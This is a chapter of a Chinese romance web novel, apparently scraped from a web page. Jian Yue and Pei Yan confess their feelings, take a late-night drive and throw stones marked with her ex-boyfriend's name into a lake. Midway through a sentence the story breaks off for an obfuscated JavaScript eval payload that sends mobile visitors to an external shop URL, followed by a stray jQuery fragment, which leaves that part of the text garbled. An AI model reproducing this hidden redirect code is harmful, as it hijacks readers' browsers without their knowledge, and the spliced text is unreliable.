简月眨了眨眼睛,像是没反应过来似地重复:“找了我好久?”
话是这么问,可出口的那一刻,大脑就已自动明白他的意思,内心的雀跃源源不断地流出,瞬间浸透了整个心脏。
她好像……知道接下来会发生什么了。
裴言抬起头,眸色又深又黑,望不见底,复杂情绪交织其中,像是挣扎,又像是隐忍。
他说:“你去哪儿了。”
“……”简月故意板起脸,学着他的样子,“我只告诉男朋友这些。”
这话说完,她的脸又热了热。
她鬼使神差地接了这么一句,接完后才发现——暗示的意味好像过于明显了。
就好像她很期待他做她男朋友似的。
……
没等她想更多,手腕被人轻轻一拉,她整个人被带入一个怀抱中。
男人的外套没有系扣子,她靠上去的时候,隔着一层单薄的布料,听到了他剧烈的心跳声。
夜凉如霜,他的衣服也是,带着一层初秋的冷意,可不知是她的脸在微微发烫还是他的体温灼人,她竟一点也不觉得冷。
在她呆愣之际,裴言低沉的声音响在耳边:“好,我们在一起,我做你男朋友。”
这句话说完,她心里的一点焦躁不安神奇地消失了。
亲耳听到他说这句话,简月发现,她好像比自己想象中的还要开心一些。
人真是太奇怪了。
上一秒还在想以后永远也不见他了,下一秒听他说在一起,她又忍不住高兴。
“简月。”他叫她的名字,继续说,“做我女朋友好不好。”
很轻很轻的气流呼在她耳边,暖暖的,有些痒。
简月低头,按亮手机屏幕。
十一点四十三。
她按灭手机,微微一笑:“好啊。”
她原本想问他很多,比如他这一天在干什么,为什么这么晚才来找她,又为什么只是傻傻等在楼下而不打电话发消息找她,可是真的到这一刻,她却觉得这些都不再重要——
更重要的是另一件她发自内心冲动地想要去做的事。
简月拉起裴言的手,向车上跑去:“跟我来。”
“什么?”男人在身后问。
“我们去约会,就现在。”
她带着裴言来到副驾前,推他上了车,自己又从车前绕到主驾,拉开车门也坐了上去。
“我们去哪儿?”裴言问。
“飙车。”简月发动车子,弯唇一笑,“害怕?害怕也晚了,上了我的车就别想下去了。”
裴言同样弯唇,系好安全带,声音毫无惧意:“不会,你只管开。”
简月喜欢这种感觉。
她现在就是心跳得厉害怎么也慢不下来,想做点刺激的事发泄一下。
这个时候最爽的莫过于,你想发疯,而你身边的那个人正好愿意陪你。
车冲了出去。
凌晨的江市静极了,车一路飞驰而过,几乎只能听到他们一辆车的引擎声。
风声在窗外呼呼作响,简月打开音响挑了一首歌,然后将音量开至最大。
标志性的吉他riff一出,裴言立刻听出是什么歌,问她:“《HighwaytoHell》?”
“Yep。”她意外又惊喜,“你也听AC/DC?”
“这首歌很出名,飙车时听很爽。”
简月忍不住笑:“怎么,你也在飙车的时候听过?这首歌叫地狱大道,飙车的时候听好像不吉利呢。”
“一首歌而已,你信这些?”
“不信。”简月笑吟吟道,“不过你不怕就好。”
《HighwaytoHell》是极其标准的硬摇滚歌曲,利用休止符让人一次次积蓄情绪发泄情绪,本就极燃极嗨,又有超高车速加持,肾上腺素疯狂上升,唯有一个“爽”字可以概括。
她承认,今晚她是有点疯狂了。
车一路目的明确地开上外环,简月打开了车窗。
狂风扑进来,立刻吹乱了她的长发。
耳边风声大作,连主唱用力嘶吼的声音都盖了过去。
这期间裴言始终保持着安静,不慌不乱,简月余光扫到他镇定的模样,一阵欣慰。
是个不扫兴的男朋友,很好。
车在外环绕了一圈,最终在一个湖边停下。
她看向裴言:“下车走走吗?”
裴言点头:“好,但别走太远。”
这片湖位置偏僻,算不上什么景点,放眼一望,周围竟是一个人也没有。
两人下了车,沿着湖边静静地走。
简月双手插在风衣口袋里,此刻才感觉迅疾的心跳慢慢缓下来了。
清风,明月,宁静的氛围下,她想起之前没问的问题。
“裴言。”她说,“你在楼下等了多久?”
一想起路灯下那个孤冷的身影,她就觉得心里发涩。
明明在其他的事上都那么冷静淡定,运筹帷幄,偏偏一到她的事上,就傻得让人心疼。
“没等多久。”
“骗人,说实话。”
“……”他叹一口气,“很重要吗?”
“不重要吗?”她诧异看他一眼,“你等了我那么久,为什么不告诉我一声?害我以为你……”她顿了顿,没好意思说下去,略过去继续说,“我都准备第二天找你取消合作了。”
裴言猛地顿住脚步:“取消合作?”
简月亦跟着顿住,笑着道:“怎么,害怕了?”
“如果我不来找你,你就要跟我划清界限了?”他定定看着她。
“那不然呢!”她故作严肃,“你让我很没有面子好不好,明明是你喜欢我,却让我有种……被拒绝的感觉。”
她再次强调:“真的很没有面子!”
月色下,裴言忽然笑了。
明明笑得很温柔,她却隐隐读出了温柔下的几分悲伤。
“我怎么可能拒绝你。”他说。
“……”简月忍住开心,绷直嘴角道,“我又不知道。”
“那你现在知道了。”
“嗯,知道……”她说着想起他们最初的几面,回过味来,“对了,你那时找我合作,是借口吗?”
“……”他眼里多出一点笑意,坦荡承认道,“是。”
……
果然!
他果然不需要她也能硬刚创世,他果然在之前就喜欢她了!
“找我合作都是借口,你只是为了认识我接近我?”
“是。”男人毫不心虚。
“好啊!”简月上前,双手搭在他肩上,眯了眯眼,意味深长道,“所以你早在我和司衡在一起的时候就喜欢我了。”
虽是这样说,可语气里半分谴责的意味都没有,更像是挑逗。
“真不敢相信,亚恒的裴总是这样的人,喜欢肖想别人的女朋友。”她弯起唇,“你怎么解释呢,裴总?”
她故意叫他“裴总”,拖长了音,抑扬顿挫中,像是某种情趣。
“所以呢?觉得我很卑劣?”裴言趁势揽上她的腰,将她带得更近一步。
两人的身体几乎贴上。
“不啊。”简月眨眨眼,“我只是好奇我们又没说过话,你喜欢我什么?”
“喜欢……”顿了顿,他改口道,“我也不知道。”
“回过神来就已经喜欢上了,我也没办法控制自己的心。”
意思就是,喜欢她和靠近她都已经成为他的本能,他没办法控制,便只能选择放任。
虽然有点失望这样的答案,但简月也明白,喜欢就是这样。
于是她笑了笑,继续问:“那你是什么时候喜欢我的,在哪里?”
男人微微垂眸,似在回忆:“两年前,你陪他买衣服,你坐在窗边等他,我路过看到,于是对你一见钟情。”
简月露出茫然的眼神。
她绞尽脑汁回忆半天,也没想起任何有关这段的记忆。
她是陪司衡买过衣服,也的确有可能坐在窗边等他,可是裴言路过看到她……?
她呆呆问:“就这么简单?”
裴言肯定道:“就这么简单。”
“那时我还不知道你和他的关系,直到后面看到他出来,才知道你就是他的女朋友。”
“……”简月还是觉得有些离奇和不可思议。
可如果不是这样,那也没有别的解释了。
裴言对她的感情绝对一朝一夕能酿成,她看得到他眼里的深刻。
“这样……”她不是个较真的人,很快说服自己接受,笑着道,“那这么说,你已经喜欢我两年了?”
“嗯。”
她歪了歪头:“那你喜欢我的时候,岂不是很嫉妒司衡?”
“……”他嗓音颤了颤,哑声道,“当然。”
“那你屡屡针对司衡,是因为我吗?”
男人闭了下眼:“不全是,还有裴文州。”
猛地听到“裴文州”这个名字,简月差点没反应过来,愣了一下才道:“你爸爸?”
裴言看着她,没回答。
这幅反常的模样,简月猜出什么:“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13923773|145339||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
和家里关系不好,是不是?”
“嗯。”
“既然关系不好,为什么还要听家里的话?”
男人飘忽不定地笑了下,摸摸她的头:“别问了,改天再告诉你,好不好?”
知道每个人都有难言之隐,简月点点头,换了话题:“所以即使没有我,你也总有一天会搞垮创世是不是?”
裴言沉默看她了会儿,忽然道:“其实现在就可以。”
他艰难道:“之前没有出手,是因为你和他……”还在一起。
简月的心猛地一跳。
所以,裴言其实早就有能力搞垮创世,之所以迟迟不动手,只和司衡玩一些不痛不痒的游戏,都是因为她?
因为她和司衡还在一起,他担心创世垮了会影响到她?
她怔怔看着裴言:“你现在就可以让司衡破产?”
“现在也太夸张了。”他忍不住笑了下,“不过只要你想——”
男人神色渐渐认真:“两个月内。”
“我唯一想确认的是,你对他还有没有感情。”
“简月,我不希望做完这一切后……”他顿了顿,“换来的是你对他的心疼。”
简月心里忽然泛起一阵难言的酸涩。
她忽然发现裴言的让步比她想象的还要多。
他和她在一起,甚至都没确认她对司衡还有没有余情未了。
他那么骄傲的一个人。
她摇摇头,坚定道:“不可能,我从不吃回头草,也从不为自己的决定后悔,分手了就是分手了,我不会再喜欢他的。”
简月低下头,拉起裴言的手:“过来,带你做一件事。”
她带着他小跑几步,从地上捡起一根短树枝,又捡起几块石头,然后握着他的手,用树枝在石头上写下“司衡”的名字。
“简月?”裴言问。
“别说话。”
她带着他一连写了四五块石头,然后说:“看好了。”
石头经由她的手扔出,在空中划出一个抛物线,然后落入湖中,砸出一个漂亮的水花。
一块,两块。
到第三块时,简月把剩下的石头一股脑塞给了他:“扔吧,很爽的。”
裴言忍不住笑了:“这么讨厌他?”
“当然,脚踏两条船的渣男,谁不讨厌?”她笑着催促,“快扔啊,扔完就解气了,你想啊,你从前再嫉妒他,现在……”说到最后,她有些不好意思,声音低了些,“和我在一起的人也是你了。”
裴言眼中笑意更盛,不再多问,将剩下的石头一口气扔了出去。
石头在湖面砸出巨大的水花。
听着就有种解气感。
扔完石头,裴言转过身,气息有几分不稳,微微颤抖着:“……简月。”
“我们公开好不好。”
“如果你不在意他了,我们公开,让所有人都知道我们在一起了好不好?”
他的声音温柔得让人心悸:“我不会辜负你,我会对你很好,我们公开,好吗?”
湖面的涟漪渐渐归于平静,简月看着他的眼睛,发现自己舍不得说出任何一个拒绝的字。
她轻轻点了下头。
裴言又笑了:“冷不冷?”
没等她回答,他已脱下自己的外套替她披上:“很晚了,我送你回去吧,还想问我什么,明天我再慢慢告诉你。”
回去的路上,裴言主动选择了主驾。
她披着他的外套,吹着暖风,坐在副驾上昏昏欲睡。
车停在楼下时,简月睁开眼睛,迷迷糊糊认出了这是哪里。
裴言熄了火问她:“要不要我送你上去?”
“不用了,你也早点回去休息吧。”她打了个哈欠,打开车门就要上楼。
走了几步却又想起什么。
她转过身,男人已经下了车,正站在车边目送着她。
“裴言。”简月看着他说,“要再抱一下吗?”
裴言向她张开双手。
那一刻,看着向他奔来的身影,很多年前看过的一句美剧台词在他心中具象成了一辈子也忘不掉的画面。
She’sonherway.
你的真命天女正在路上呢。
Andshe’sgettinghereasfastasshecan.
她正在以她最快的速度赶来。
她向他奔来,头顶是一轮温柔的月,长发在风中微微扬起,在夜色中美得惊心动魄。
而他伸出手,向前一步——
接住了他的全世界。